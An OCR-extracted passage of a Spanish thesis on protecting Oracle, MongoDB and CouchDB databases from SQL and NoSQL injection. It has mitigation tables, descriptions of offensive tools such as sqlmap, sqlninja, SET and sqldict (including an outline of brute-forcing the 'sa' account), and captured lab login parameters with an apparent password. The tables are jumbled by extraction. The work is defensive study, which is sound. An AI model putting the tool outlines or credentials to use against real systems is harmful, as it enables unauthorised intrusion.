Header set X-XSS-Protection "1;
mode=block"

Fuente: el autor.

7.1.2. ORACLE. En la siguiente tabla se muestra las actividades que se puede
realizar para mitigar las vulnerabilidades encontradas con el entorno de prueba de
la base de datos en Oracle.

Tabla 4. Mecanismos para evitar la Inyeccion SQL en ORACLE

y contrasefia de
usuario

p_flow_id=4950
&p_flow_step_id
=101&p_instanc
e=12297469698

submission_id=
3957732645476
440&p_request
=LOGIN&p_arg
_names=93687

29085&p_page

permiten la conexion a la
instancia de la base de
datos XE, como son el
LOGIN y la
CONTRASENA se
pueden manipular
devolviendo datos del
servidor permitiendo
hacer inyecciones SQL
con el fin de obtener
informacion de la base
de datos.

Vulnerabilidad Descripcién Mecanismo/Actividad
Manipulacion de | Al ingresar a la pagina | Evitar utilizar SQL dindmico vy
parametro login | los parametros que | concatenacion de caracteres que

generalmente se usa en Forms,
Reports procedimientos
almacenados y casi en la mayoria
de herramientas de desarrollo
Oracle. Si es necesario su uso

entonces utilizar variables de
binding.

Otra alternativa es utilizar el
paquete DBMS_ASSERT, que

contiene una serie de funciones que
pueden ayudar a limpiar las
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Vulnerabilidad

Descripcion

Mecanismo/Actividad

3918730859954
&p_t01=SYSTE
M&p_arg_name
$=93687402547
9859956&p_t02
=marbizsaid&p__
md5_checksum

variables de entrada y evitar que se
inyecte codigo SQL malicioso.

También se deberia monitorear los
privilegios de usuario evitando que
se tengan privilegios excesivos.

Cookie sin el

Si el sitio web intenta

Si la bandera HttpOnly esté& incluida

Desviar datos desde un
servidor de base de
datos legitima o un

conjunto de | establecer una cookie de | en el encabezado de respuesta
banderas HttpOnly, la bandera | HTTP, la cookie no se puede
HttpOnly HttpOnly serd ignorado | acceder a través de script del lado
HTTP/1.1 302 | por el navegador, | del cliente, incluso si existe un
Found generando una | cross-site scripting (XSS), falla, y un
Server: Oracle | secuencia de comandos | usuario accede accidentalmente a
XML DB/Oracle | de la Cookie tradicional | un enlace que explota esta falla, el
Database accesible. Como | navegador no revelan la cookie a un
Set-Cookie: resultado, la cookie por | tercero’.
LOGIN_USERN | lo general la de manejo
AME_COOKIE= | de sesi6én, se vuelve
system vulnerable al robo de
Set-Cookie: modificacion mediante
WWV_CUSTO | cédigo malicioso.
M-
F_10_4950=6E
6CEF8770ADE
812; path=/
69552 - Oracle | El receptor remoto de | Afiadir el Oracle Advanced Security
TNS  Listener | Oracle TNS permite el | SSL / TLS para la licencia de base
Remote registro de servicio | de datos Oracle Standard Edition
Poisoning desde un host remoto. | cuando se utiliza con los Real
tcp/1521 Un atacante puede | Application Clusters.

explotar este problema

para

7 https://es.wikibooks.org/wiki/HTTP/Estado_y_Seguridad/Cookies_HttpOnly

109




Vulnerabilidad Descripcion Mecanismo/Actividad
cliente a un sistema
especificado  por el
atacante.

Si un ataque es exitoso
se podra manipular las
instancias de la base de
datos, facilitando
potencialmente un man-
in-the-middle, secuestro
de sesion o ataques de
denegacion de servicio
en un servidor de base
de datos legitimo

22073 - Oracle
Database
Detection

El host remoto esta
ejecutando un servidor
de base de datos Oracle.
Puede ser posible
extraer el namero de
version del receptor TNS
remoto enviando una
"VERSION" al servicio
de escucha TNS que
opera en este puerto.

Restringir el acceso a la base de
datos solo a los IP permitidos.

64712 - Oracle
Application
Express (Apex)
CVE-2011-3525
tcp/8080

URL:
http://192.168.0.
7:8080/apex/

Una vulnerabilidad no
especificada en las
versiones 3.2 y 4.0 del
componente Application
Express (Apex) del
servidor de bases de
datos Oracle permite a
los usuarios remotos y
autenticados afectar la

confidencialidad, la
integridad y la
disponibilidad en

relacion con el usuario
desarrollador de Apex.

Actualizar la Aplicacién Express al
menos la version 4.1.
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Server Type and
Version
tcp/8080

Base de datos
Oracle XML DB/
Oracle

intenta determinar el tipo
y la version del servidor
web remoto.

Vulnerabilidad Descripcion Mecanismo/Actividad
22964 - Service | Servicio web corriendo | No tiene ningun riesgo. Siempre y
Detection sobre este  puerto. | cuando se verifiqgue quien accede al
tcp/8080 Nessus pudo identificar | puerto.

el servicio remoto por el

banner o viendo el

mensaje de error que

envia cuando recibe una

solicitud HTTP.
10107 - HTTP | Este complemento | No representa riesgo mientras se

controle el puerto.

Fuente: el autor

7.1.3 NOSQL MONGODB. En proyectos de este tipo es indispensable primero
definir con mucha precision que es lo que se quiere hacer, identificar correctamente
las especificaciones o0 requerimientos que determine si se requiere tecnologia
NoSQL. Es recomendable evaluar las herramientas disponibles en el mercado para
determinar la mejor opcidn de implementacién, en estos motores es diferente lograr
hacer una migracion entre uno y otro. En la siguiente tabla se muestran las medidas
basicas de seguridad para MONGODB.

Tabla 5. Mecanismos para evitar la Inyeccion NoSQL en MONGODB

Vulnerabilidad Descripcién Mecanismo/Actividad

Autenticacionde | No se  activd  la | Considerar los parametros que
usuarios autenticacion de | pueden ser Utiles para la mayoria de
inactiva. usuario. instalaciones y se configuran en el

fichero de configuracién principal
/etc/mongod.conf

security:
authorization: “enabled”
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Vulnerabilidad

Descripcion

Mecanismo/Actividad

Conexioén
abierta  desde
cualquier ip

Se permite la conexion
desde cualquier ip,
permitiendo realizar una
inyeccion NoSQL.

Permitir conexiones Unicamente
desde la ip que se requiera y
cambiar puerto por defecto.
Ejemplo desde ip local:
net:

bindlp: 127.0.0.1

port: 27019 (el que se requiera)

Acceso via http
a la base de
datos

Se tiene habilitado el
acceso via HTTP
permitiendo  manipular
datos.

Deshabilitar cualquier acceso via
http tanto a la parte de
administracion como a la API Rest.

http:
enabled: false
RESTInterfaceEnabled: false

Inyeccion
NOSQL

No se establecieron los
pardmetros basicos de
seguridad ni se creo
usuario para el acceso a
la base de datos con
privilegios especificos.
Se puede ejecutar
inyeccion NOSQL.

Crear usuario administrador con el
rol de “root” en la base de datos
principal.

Crear usuario con el rol
“‘dwOwner” en la base de datos.

de

Modificar el fichero .config con la
configuracion y reiniciar el servicio
de Mongo

Las anteriores son unas orientaciones basicas de seguridad que deberian ser
complementadas con una correcta configuracion de, Firewall, Auditoria de logs,
Politica de backups, Shared key para configuracion de réplica sets, Activar trafico
SSL entre el cliente y el servidor MongoDB.

7.1.4. NoSQL CouchDB. CouchDB es una alternativa que segun los medios en la
red la muestran como la mejor entre las opciones de los gestores NoSql,
permitiendo flexibilidad, escalabilidad y seguridad.

Auditar constantemente los controles de seguridad implementados, autenticacion,
validacion de entradas, validacion de datos, acceso basado en roles y controles
sobre el sistema operativo y las redes.
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Autenticacion: algunas de las bases de datos no tienen implementado el
esquema de autenticacion.

Validacion de entradas: aunque depende del controlador usado y la
programacion realizada se debe validar la entrada con el fin de evitar cédigo
malicioso, aunque no hay cddigo sql se puede utilizar otras técnicas de inyeccién
como java script.

Validacion de datos: los tiempos que el motor tenga que hacer al intentar validar
los tipos de datos puede ocasionar denegaciones de servicio.

Acceso basado en roles: estos sistemas se iniciaron a implementar en entornos
controlados, luego ahora con el uso de internet se debe desarrollar la
implementacion de roles.

Activar los logs, para monitorear los eventos que se ejecutan en la base de datos.
Analizar y auditar actividades sospechosas o no autorizadas.

Analizar y auditar la informacién sensible.

Enmascarar la informacion.

Aplicar configuraciones de seguridad propias del motor de base de datos.

7.2 OTRAS MEDIDAS PREVENTIVAS

Filtrar las entradas de los usuarios evitando que se puedan pasar caracteres
especiales como \ / “ * o cualquier otro que pueda causar inconvenientes.

Limitar al méximo los permisos de acuerdo a los perfiles de usuario que ejecuta
las sentencias de SELECT, DELETE, UPDATE, INSERT entre otros.

Se deberia validar los datos que introduce el usuario como por ejemplo la longitud
de los campos y el tipo de datos aceptados.

Evitar conectarse como un usuario administrador o super usuario 0 como
propietario de la base de datos remotamente. Utilizar usuarios personalizados
con privilegios muy limitados.

Existe una amplia rama de controles que se pueden utilizar para prevenir ataques
de inyeccion SQL, pero dependera de otros factores como el motor de base de
datos, arquitectura utilizada en el disefio de base de datos, asi como el disefio
web, servidor de alojamiento, entre otros factores.

Otros aspectos a tener en cuenta para prevenir una inyeccion es mantener los datos
sensibles separados de los comandos y consultas.

La opciébn mas recomendada es utilizar una API segura la cual evite el uso de
intérpretes por completo o supla una interface con parametros definidos. Al utilizar
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las APIs, como los procedimientos almacenados, se debe tener cuidado porque aun
asi se pueden introducir inyecciones en el motor del interprete.

Si una API con parametros no esta disponible, se deberia codificar los caracteres
especiales, usando la sintaxis de escape especifica del intérprete. OWASP ESAPI
ofrece muchas de estas rutinas de codificacion.

También se recomienda la validacion de entradas, aunque no es una defensa
integral porque muchas aplicaciones requieren caracteres especiales en sus
entradas. Si esto es asi, se debe aplicar las anteriores recomendaciones. La ESAPI
de OWASP contien una libreria extensible de rutinas de validacion.

La ESAPI de OWASP es una coleccion gratis y abierta de todos los métodos de
seguridad que un desarrollador necesita para construir una aplicacion Web segura.
Los desarrolladores pueden usar solo las interfaces y construir su propia
implementacion usando la infraestructura de la organizacién. También se puede
usar la implementacion de referencia como un punto de inicio. En concepto, la API
es independiente del lenguaje. Sin embargo, los primeros entregables del proyecto
son una API Java y una referencia de implementacién Java. Esfuerzos para
construir ESAPI en .NET y PHP estan en marcha.

Exposicion de Datos Sensibles

En su gran mayoria las aplicaciones web no protegen adecuadamente los datos
sensibles que administra, pueden ser numeros de tarjetas de crédito, datos de
autenticacion entre otros. Los atacantes pueden sustraer o alterar dichos datos para
llevar a cabo fraudes, suplantacion de identidad u otros delitos. Cuando se trabaja
con datos sensibles se requieren métodos de proteccién adicionales como por
ejemplo el cifrado de datos, de igual manera se requiere medidas de seguridad
cuando se intercambia datos con el navegador.

Algunas de las medidas preventivas que se pueden tener en cuenta son las
siguientes:

e Determinar las amenazas internas o externas de las cuales se protegeran los
datos, asegurar el cifrado de los datos sensibles almacenados o en transito.

¢ No almacenar datos sensibles innecesariamente. Prescindir tan pronto como sea
posible.

e Aplicar algoritmos de cifrado fuertes y estandarizados, asi como claves robustas
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gestionandolas de forma segura. Utilizar modulos criptogréaficos validados como
FIPS 140 del gobierno de Estados Unidos que incluye componentes software y
hardware.

e Las claves deberian almacenarse con un algoritmo para protegerlas como ser
bcrypt, PBKDF2 o scrypt. 5.

¢ Deshabilitar el autocompletado en los formularios que recolectan datos sensibles.

e Deshabilitar el almacenamiento cache de péaginas que contengan datos
sensibles.

¢ No guardar contrasefias cuando el navegador lo solicita.

La norma FIPS 140-2 define cuatro niveles de seguridad.

¢ Nivel 1, normalmente utilizado en productos de cifrado de software, contiene
requisitos de seguridad limitados.

¢ Nivel 2 requiere autenticacién basada en el usuario. Necesita la capacidad para
detectar la intrusion fisica mediante sistemas de bloqueo fisico o precintos de
seguridad.

¢ Nivel 3 agrega resistencia a la intrusion fisica dificultando al maximo los ataques.
Si una intrusion es detectada, el dispositivo puede eliminar los parametros de
seguridad criticos. También incluye proteccion criptografica eficaz vy
administracion de claves, autenticacion basada en la identidad y separacion fisica
o légica entre las interfaces.

¢ Nivel 4 incluye proteccion avanzada contra intrusiones y esta disefiado para
productos que operan en entornos desprotegidos fisicamente.

Plan de Respaldo

A continuacion, se relacionan algunas actividades con el fin atender las posibles
eventualidades y prevenir o mitigar el impacto de eventos que puedan presentarse
en un ataque a base de datos.

¢ Realizar copias de seguridad de la informacion y documentos de los discos duros
de los equipos de computo. Puede hacerse una copia de seguridad en la nube,
0 si se tiene un servidor de archivos o en su defecto en discos duros extraibles a
cargo del area de sistemas.

e Efectuar copias de seguridad de los sistemas de informacion y Bases de Datos.

e Tener disponible como minimo un repositorio de software de instalacion para
restaurar los archivos del sistema operativo y aplicaciones de un computador o
servidor en caso de falla o virus. Sistema operativo (Windows, Linux, etc.)
Paquetes de ofimatica (Office) Bases de datos (SqlServer,Oracle, MySq|, etc.)
Drivers y utilitarios de impresoras, redes, switches, router, etc.
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e Programar y realizar mantenimientos preventivos de equipos de cémputo y
comunicacioén, energia (UPS, Planta eléctrica), extintores, alarmas y sistemas
contra incendio.

e Actualizar las contrasefias de acceso a las aplicaciones y bases de datos. Minimo
cada tres meses o cuando se requiera por el usuario o por vacaciones, traslados,
encargos o reemplazos del cargo.

e Tener como respaldo equipos de cémputo, repuestos, consumibles, para su
reemplazo inmediato en caso de alguna falla y de aquellos que se consideren
criticos para Seguridad.

¢ Redundancia en el canal de comunicaciones y dispositivos de red para evitar la
interrupcion de la prestacion del servicio.

7.3 POLITICAS Y BUENAS PRACTICAS

e Evitar abrir correos de remitentes desconocidos.

e NO abrir cadenas de correos.

e Leer antes de descargar un software o un ejecutable de alguna aplicacion para
estar seguros de que se trata y que se esta descargando.

o Verificar las extensiones de los archivos antes de descargarlos de una web o del
correo electronico.

e Mantener el paquete de actualizaciones de Windows al dia.

o Utilizar software licenciado y si es libre verificar que se obtiene de las paginas
oficiales.

e Mantener antivirus al dia ojal& licenciado y no solo uno, tener antimalware o anti
espia.

e Tener dentro de la infraestructura tecnoldgica una barrera perimetral que proteja
la red ante posibles infiltraciones de cédigo malicioso.

e Realizar periédicamente backups de la informacion identificando y clasificando
los activos de informacion criticos para el desempefio y cumplimiento de la mision
de la organizacion.

7.4 ALGUNAS RECOMENDACIONES DE SEGURIDAD

Las recomendaciones se basan en algunos de los principales atagues que ocurren
en las bases de datos mediante diversas técnicas que se han desarrollado a medida
qgue la tecnologia ha avanzado a través del tiempo. Los ciberdelincuentes se
enfocan en el estudio de las vulnerabilidades que los DBMS puedan tener a su vez
gue tienen en cuenta las formas de reaccién de los usuarios permitiendo hacer mas
facil su tarea de poder hacer una intrusion y alterar, dafiar o sustraer los datos con
el fin de obtener un beneficio por lo general de tipo monetario.
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Ataque de fuerza bruta

Los dba de las bases de datos pueden restringir el nUmero de intentos de
autenticacion no mayor a 3 veces, impidiendo que se siga realizando el ataque.
Realizar auditorias a las bases de datos o inclusive al servidor, al intentar
conectarse a la base de datos quedaran guardados en los logs del servidor y esto
puede permitir alertar del ataque realizado.

Ataque por sniffing

Se puede prevenir estos ataques utilizando cifrado HTTPS en toda pagina web
si se tiene un acceso a una base de datos remota.

No utilizar la URL como identificador de sesion, en cambio se puede utilizar
Unicamente las cookies.

El Test ICMP Ping de Latencia, consiste en hacer ping al posible sospechoso de
sniffing y se toma nota del Round Trip Time (RTT, retardo de ida y vuelta). Se
genera entonces una cantidad de falsas conexiones TCP en la red, en un periodo
de tiempo muy breve. Si existe el sniffer resuelve estos paquetes y se analiza si
el tiempo de latencia incrementa. Se hacemos ping nuevamente y se compara el
RTT con el primer valor obtenido. Luego de varios tests se puede concluir si un
sniffer esta realmente dentro de la red.

Utilizar VLANS, que mejoran notablemente la seguridad. Es necesario tener en
cuenta que algunos tipos de configuracion VLANS, pueden ser aprovechadas
para ser atacadas mediante ARP Spooofin.

Algunos routers / switch implantan medidas de seguridad adicionales anti
spoofing mediante reglas.

DNS spoofing

Deshabilitar la opcién de gestion remota de los routers. En caso de requerirse es
necesario establecer una contrasefa fuerte.

Mantener el sistema operativo actualizado, instalar los udltimos parches
disponibles. En el caso de Java, actualizar los navegadores, asi como también la
propia version de Java.
Verificar las conexiones a sitios que utilizan cifrado. Observar bien al protocolo,
si un sitio utiliza HTTPS y cuando se accede utiliza HTTP, el usuario podria estar
accediendo a un sitio falso réplica del original.
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7.5 HERRAMIENTAS DE SOFTWARE

También se cuenta con algunas herramientas que permiten el analisis y explotacion
de vulnerabilidades a las bases de datos, asi como otras que permiten realizar una
evaluacion de los controles implementados con el fin de identificar factores claves

de éxito para mejorar y garantizar las seguridades en las bases de datos.

Tabla 6. Herramientas de software para analisis y explotacion de vulnerabilidades

Herramienta

Descripcion

Proveedor / Licencia

SQLMAP

Herramienta de  pruebas de
penetracion de cddigo abierto que
automatiza el proceso de detectar y
explotar los errores de inyeccion SQL
y de carga de los servidores de bases
de datos. Soporte completo para
MySQL, Oracle, PostgreSQL,
Microsoft SQL Server, Microsoft
Access, IBM DB2, SQLite, Firebird,
Sybase, SAP MaxDB, HSQLDB e
Informix. Soporte completo para seis
técnicas de inyeccion SQL: boolean-
based blind, time-based blind, error-
based, UNION query-based, stacked
gueries and out-of-band.?

Copyright © 2006-2016:
Bernardo Damele
Assumpcao Guimaraes y
Miroslav Stampar. Todos
los derechos reservados.
Este programa es
software libre; puede
redistribuirlo 'y [/ o
modificarlo bajo los
términos de la Licencia
Publica General de GNU
publicada por la
Fundacion para el
Software Libre

NMAP
(MAPEADOR
DE REDES)
Y SUS

FUNCIONES

Es una herramienta de cédigo abierto
para escaneo de red y auditoria de
seguridad, puede servir incluso para
inventariar la red. Utiliza paquetes IP
para establecer qué servicios se
encuentran disponibles en una red,
gué sistemas operativos se estan
ejecutando, qué tipo de filtrado de
paguetes o0 cortafuegos se esta
utilizando, entre otras caracteristicas

[9].

Licencia Publica General
de GNU publicada por la
Fundacién para el
Software Libre

8 http://sglmap.org/
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Herramienta Descripcion Proveedor / Licencia

Nmap muestra como resultados un
listado de servicios Yy objetos
analizados, uno de los principales
datos es la tabla de puertos, donde
se muestra el ndmero de puerto y
protocolo, el nombre mas comun del
servicio, y su estado. El estado
puede ser open (abierto), filtered
(fitrado), closed (cerrado), o
unfiltered (no filtrado). Filtrado sefala
gue un cortafuego o cualquier otro
elemento en la red estan bloqueando
el acceso a dicho puerto. Nmap
presenta  informacion de los
protocolos IP soportados, incluyendo
informacion  adicional como el
nombre de DNS segun la resolucion
inversa de la IP, un listado de
sistemas operativos posibles, los
tipos de dispositivo, y direcciones
MAC

Es wuna distribucion de Linux | Codigo abierto y el arbol
KALI LINUX |avanzada para pruebas de |de desarrollo esta
penetracion y  auditorias  de | disponible para todos y
seguridad. todas, las fuentes estan
disponibles para aquellos
Kali es una reconstruccion de | que desean modificar y
BackTrack Linux, se adhiere al | reconstruir paguetes.
estandar del entorno Debian vy
contiene mas de 300 herramientas
de pruebas de penetracion. °

Fuente: el autor.

En la siguiente tabla se muestran algunas de las principales herramientas de Kali
Linux.

9 http://es.docs.kali.org/introduction-es/que-es-kali-linux
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Tabla 7. Herramientas de la suite de KaliLinux

Herramienta

Funcién

Information Gathering

ACCCHECK

Disefiada como una herramienta de ataque de diccionario para
contrasefia, dirigido a la autentificacién de Windows a través del
protocolo SMB. Intenta conectarse con el IPC$ o ADMINS
dependiendo de la configuracion seleccionada, usando una
combinaciéon de nombres de usuario y contrasefian.

GOLISMERO

Es un framework opensource para realizar auditorias de
seguridad y pentesting, principalmente estd orientado hacia la
deteccion de vulnerabilidades en entornos web. Desarrollado en
Phyton permite la creacion de plugins de forma facil, interpreta
datos obtenidos con otros aplicativos tales como OpenVAS,
SQLMAP, y es multiplataforma.

Sniffing & Spoofing

WIRESHARK | Es un potente analizador de protocolos de red que permite ver
todo el trafico en la red local. Util para testear el funcionamiento
de lared y la seguridad.

DNSCHEF Escrita en Python permite de manera sencilla crear un proxy DNS

(Fake DNS) con varias posibilidades de configuracion. Util cuando
no se puede utilizar un servidor proxy (como HoneyProxy por
ejemplo), ya sea porque el aplicativo o dispositivo objetivo ignoran
el proxy HTTP o porgue se utiliza uno para su correcto
funcionamiento etc.

Exploitation Tools

SQLMAP

Herramienta de pruebas de penetracion de codigo abierto que
automatiza el proceso de detectar y explotar los errores de
inyeccion SQL y de carga de los servidores de bases de datos.
Soporte completo para MySQL, Oracle, PostgreSQL, Microsoft
SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,
Sybase, SAP MaxDB, HSQLDB e Informix. Soporte completo para
seis técnicas de inyeccion SQL: boolean-based blind, time-based
blind, error-based, UNION query-based, stacked queries and out-
of-band.

SET

El kit de herramientas de Social-Engineer es un marco de pruebas
de penetracion de codigo abierto disefiado para la ingenieria
social. Permite automatizar tareas como por ejemplo el envio de
SMS (mensajes de texto) falsos, con el fin de suplantar el nimero
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Herramienta

Funcién

telefonico que envia el mensaje, también se puede clonar
cualquier pagina web y poner en marcha un servidor para hacer
phishing en cuestion de segundos. El kit de herramientas SET
esta especialmente disefiado para realizar ataques avanzados
contra el elemento humano.

Web Applicati

ons

SQLNINJA

Especifica para explotar vulnerabilidades de inyeccion SQL en
una aplicacion web que utiliza Microsoft SQL Server. Su objetivo
principal es proporcionar un acceso remoto en el servidor de base
de datos.

SQLSUS

De cadigo abierto escrito en Perl, median una interfaz de linea de
comandos, se puede recuperar la estructura de base de datos,
inyectar consultas SQL, descargar archivos desde el servidor
web, rastrear el sitio web de directorios, cargar y controlar una
puerta trasera, clonar la base de datos entre otros.

Utilizado para hacer pruebas de penetracion en motores MySQL.

Password Attacks

SQLDICT

Herramienta de ataque de diccionario para SQL Server. Una
forma sencilla de hackear estas bases es intentar un ataque
mediante fuerza bruta sobre el usuario 'sa’, buscando servidores
sql dentro de la instalacion utilizando por ejemplo sglscan y
crackeando el usuario ‘SA’ mediante sqldict, solamente teniendo
la IP del servidor se agrega el diccionario de datos con los
password posibles y se ejecuta el programa.

NCRACK

Herramienta de autenticacion, fue construida para ayudar a las
organizaciones a asegurar las redes mediante pruebas a los
dispositivos de red identificando contrasefias débiles. Fue
disefiado utilizando un enfoque modular, una sintaxis de linea de
comando similar a Nmap y un motor dinamico que puede adaptar
su comportamiento basado en la retroalimentacién de la red.
Soporta protocolos como RDP, SSH, HTTP, SMB, pop3, VNC,
FTP y telnet.

Fuente: el autor
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7.6 ZONA DESMILITARIZADA SEGURA DMZ

Otro aspecto a tener en cuenta cuando de bases de datos se trata es las redes e
internet, aqui la seguridad también juega un papel importante, existe un mecanismo
que permite separar los servicios publicos como las paginas web, el correo
electronico, servicios FTP, de la red interna o red LAN de la organizacion, esto
consiste en establecer un perimetro de la red denominada DMZ, es un segmento
de red o zona disefiada mediante la utilizacién de un cortafuego que puede filtrar el
trafico de entrada como de salida, lo anterior con el objetivo de proteger la red
interna de posibles intrusiones asi como de amenazas externas a los equipos con
acceso a la red publica. El cortafuego funciona a través de politicas permisivas y
restrictivas, la primera permite todo tipo de trafico menos el que se quiera denegar
un tipo de trafico especifico y la segunda que deniega todo el trafico y acepta
Gnicamente el explicitamente permitido o que se requiera en la organizacion.
Existen en general cuatro tipos de cortafuegos: de pasarela que funciona para
Telnet, FTP, Web, de capa de red que permiten configuraciones con direccion IP y
puerto de origen y destino, de aplicacion para analizar protocolos HTTP y los
cortafuegos personales para los equipos de escritorio.

Con el fin de comprender la estructura para implementar el DMZ, se muestra en la
figura 110 como puede ser su disefo. En la parte izquierda se encuentra la red
interna o LAN de la organizacién, separada de los servicios web a través del DMZ.
Para maximizar la seguridad se puede optar por la inclusiéon de un cortafuego para
aplicaciones web con el fin de prevenir determinados atagues especificos en
Internet y se controlan las transacciones al servidor web de la organizacion.

Figura 110. Disefio DMZ con WAF y Switch
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Fuente: El autor
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7.6.1. Elementos que intervienen en un DMZ. La implementacion de un esquema
DMZ dependera en gran manera de las necesidades de una organizacion, se
deberia tener en cuenta las politicas de cambios y del Sistema de Seguridad de la
informacion si se encuentran implementados, asi como los servidores existentes,
bases de datos y la arquitectura de red establecida.

Para una adecuada implementacion de un DMZ aparte de una fase de planeacion
donde se incluyan los aspectos como personal, dispositivos, documentacién entre
otros se requieren los siguientes elementos:

e Revisién de informacién y requerimientos entregados por parte de Seguridad
Segura. Es importante garantizar el cumplimiento, aprobacién y/o entrega por
parte de la entidad de los prerrequisitos definidos.

¢ El firewall Perimetral, que realizara enrutamiento a DMZ.

e El FortiGate-100D es una solucion de seguridad para las pequefias y medianas
empresas o sucursales remotas de las grandes redes. Combina firewall, IPSec y
SSL VPN, control de aplicaciones, prevencion de intrusiones, antivirus,
antimalware, antispam, seguridad P2P, y filtrado web en un solo dispositivo
(Productos Fortinet,
http://fortinet.globalgate.com.ar/ver.php/mod/productos/categoria/191). Este
dispositivo esta entre los USD 1700 y USD 2000.

Figura 111. Imagen Fortigate 100D
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Fuente: http://fortinet.globalgate.com.ar/imagenes/FG-100D.jpg

e Un WAF Web Application Firewall, dispositivo que puede ser hardware o software
y analiza el trafico web protegiendo de ataques como inyeccion SQL, Cross Site
Scripting, entre otros. FortiWeb-400C proporciona la seguridad de las
aplicaciones con una interfaz de usuario web facil y las opciones de
implementacion flexibles, Fortiweb-400 ofrece una completa funcion de firewall
gue ayuda a proteger contra las amenazas de OWASP Top 10y la direccién PCI
DSS 6.6 (Productos Fortinet,
http://fortinet.globalgate.com.ar/ver.php/mod/productos/categoria/191). Este
dispositivo se encuentra en el mercado por valor de USD 7.800.
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Figura 112. Imagen Fortiweb 400C
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Fuente: http://fortinet.globalgate.com.ar/imagenes/FWB-400C_Ft.png

e Un switch para la DMZ. FortiSwitch-248B-DPS es un switch de alto rendimiento
10/100/1000 Ethernet con quad doble velocidad 1/10 puertos SFP + fibra uplink,
que permite hasta 40 Gbps de trafico core. Se garantiza la compatibilidad con
los actuales puertos de 1 GbE de fibra y su futuro 10 GbE de fibra, sin costo
adicional (Productos Fortinet,
http://fortinet.globalgate.com.ar/ver.php/mod/productos/categoria/191). El precio
de este switch se encuentra en USD 9.900.

Figura 113. Imagen FortiSwitch-248B-DPS

Fuente: http://fortinet.globalgate.com.ar/imagenes/FSW-248B-DPS_Lt.png

¢ Router Cisco 2951 Integrated Services Router (ISR) proporciona datos de alta
seguridad, voz, video y servicios de aplicaciones. Entre USD 400 y USD 500.

Figura 114. Imagen Cisco 2951

Fuente: http://www.cisco.com/c/en/us/products/routers/2951-integrated-
services-router-isr/index.html#

e Siserequiere implementar servidores se tendria la posibilidad de servidores que
pueden ser DELL o HP que oscilan entre USD 3000 y USD 5000, o se puede
aprovisionar servidores en cluster, con su respectiva conexion cluster a la DMZ.

Otros sistemas de seguridad para la red
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IDS: El Sistema De Deteccidn De Intrusos - Intrusion Detection System (lds), es una
herramienta que puede complementar el esquema de Seguridad de una
organizacion, es utilizada principalmente para identificar ataques en tiempo real,
guardar los registros y reportar al equipo de TI con el fin de tomar acciones al
respecto. Se puede decir que se caracteriza por servir como una bitacora y pueden
ser el punto de partida para determinar el origen de los ataques. Los IDS han
evolucionado al sistema de deteccion y prevencion de intrusos IDPS que tienen la
capacidad de bloquear la conexion si se detecta que el evento es peligroso de
manera similar a los cortafuegos.

SNORT: basado en NIDS, contiene una base de deteccidén de eventos y escaneo
de puertos que permite registrar, analizar trafico y alertar en tiempo real, puede
efectuar andlisis de protocolos, busqueda/identificacién de contenido y puede ser
usado para detectar ataques y pruebas, como por ejemplo buffer overflows,
escaneos indetectables de puertos, intentos de reconocimientos de sistema
operativos entre otros. Disponible en la pagina http://www.snort.org/ bajo licencia
GPL, funciona bajo plataformas Windows y UNIX/Linux. Es uno de los mas
utilizados y contiene gran cantidad de filtros o patrones ya predefinidos, asi como
actualizaciones frente a eventos o ataques, que se hayan detectado a través de
diferentes boletines de seguridad.

Sniffer: Es un software que puede analizar los paquetes transmitidos a través de las
tramas de una red. Tiene como funcionalidad monitorear la red para detectar y
examinar fallos, aunque se puede emplear para fines delictivos, mediante la
utilizaciéon de un programa de sniffing y estando en la red el atacante puede
interceptar el trafico de los diferentes protocolos de red incluyendo usuarios y
contrasefas si ha ingresado o iniciado sesién a paginas web, correo electrénico,
bases de datos entre otros.

WireShark: es un analizador de protocolos, funciona en Windows y Linux, permite
realizar un sniffing en la red donde se encuentre conectado. Una vez ejecutado el
programada se captura el trafico y se pude hacer filtrado por direcciones IP, por
protocolos HTTP, SMTP, por Dominio hacia paginas como Facebook, google o
cualquier otro sitio, si se tiene una base de datos remota o local alli aparecera en el
analizador de tréfico.
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CONCLUSIONES

Los escenarios configurados para las pruebas de penetracion y ataques de
inyeccion SQL y NoSQL son técnicas que permitieron comprobar la seguridad de
las bases de datos, asi como detectar vulnerabilidades en la red y aplicaciones web,
gue por lo general son aprovechadas por un intruso para explotarlas.

Aunque las pruebas de penetracion son eficaces en la seguridad en la red, no es lo
mismo en las aplicaciones web, alin mas en entornos y conexiones a bases de
datos, en razén a que son basicamente hechas a la medida. Existen herramientas
para realizar pruebas de penetracion que automatizan el proceso, sin embargo, su
eficacia estd determinada por la complejidad de la aplicacion desarrollada.

La metodologia desarrollada permitié identificar y plantear una propuesta con
algunos de los principales métodos para proteger las bases de datos sqgl y no sqgl
estudiadas, con el animo de brindar un documento que beneficie a los
administradores de bases de datos, desarrolladores, auditores y usuarios, para que
puedan consultar y aplicar de la mejor manera los procedimientos existentes acorde
a sus necesidades.
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RECOMENDACIONES

Aplicar los principios de ingenieria en el desarrollo de bases de datos evitara
potenciales fallos y permitira hacer un mejor control en su desarrollo, minimizando
riesgos y mejorando el mantenimiento y calidad.

La guia de pruebas OWASP, asi como sus referentes y demas procedimientos
brindan un excelente mecanismo para establecer criterios validos cuando se
planifica disefia, desarrolla y mantiene una aplicacion. Se abarca de manera
acertada, aspectos tanto técnicos como organizativos, involucrando disefiadores,
desarrolladores, programadores, analistas de seguridad y personal directivo en una
organizacion.
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Descripcion General o Resumen: Al paso de los afios las organizaciones han
crecido y han aumentado su inversion en tecnologia, con el auge de los
computadores y el internet cada dia se automatiza mas y buscan mejorar sus
procesos y sus sistemas de informacion. Sin embargo, al avanzar en este campo
también se debe tener en cuenta que las vulnerabilidades estan presentes en los
diferentes sistemas: llamese, redes, bases de datos, aplicaciones, sistemas
operativos entre otros y que a partir de ese crecimiento surgen las amenazas
sobre la integridad, confidencialidad e integridad de los datos. El propdsito del
presente trabajo es diagnosticar la seguridad en las transacciones y acceso en
algunos motores de base de datos sql y bases de datos no sqgl, mediante la
realizacion de pruebas de penetracion y de inyeccion SQL y NoSQL a través de
entornos de prueba controlados que permitan explorar y explotar vulnerabilidades
con la utilizacion de herramientas conocidas como Kali Linux, con el fin de
determinar aquellas mejores practicas que orienten los procedimientos vy
mecanismos de control para prevenir un evento que atente contra la informacion
salvaguardada en las bases de datos.

Objetivo General: Plantear un procedimiento para la proteccion de ataques por
inyeccion SQL en bases de datos relacionales y no relacionales mediante el
estudio y la busqueda de técnicas aplicadas a partir de un escenario de pruebas.

Objetivos especificos:

